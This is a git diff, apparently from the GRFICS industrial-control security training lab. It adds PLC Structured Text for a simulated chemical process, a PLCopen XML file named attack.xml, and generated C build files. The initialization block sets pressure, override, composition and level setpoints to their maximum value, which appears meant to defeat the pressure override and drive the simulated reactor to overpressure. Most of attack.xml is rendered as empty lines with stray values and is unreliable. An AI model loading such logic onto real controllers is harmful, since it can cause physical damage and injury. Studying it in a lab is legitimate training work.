pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) 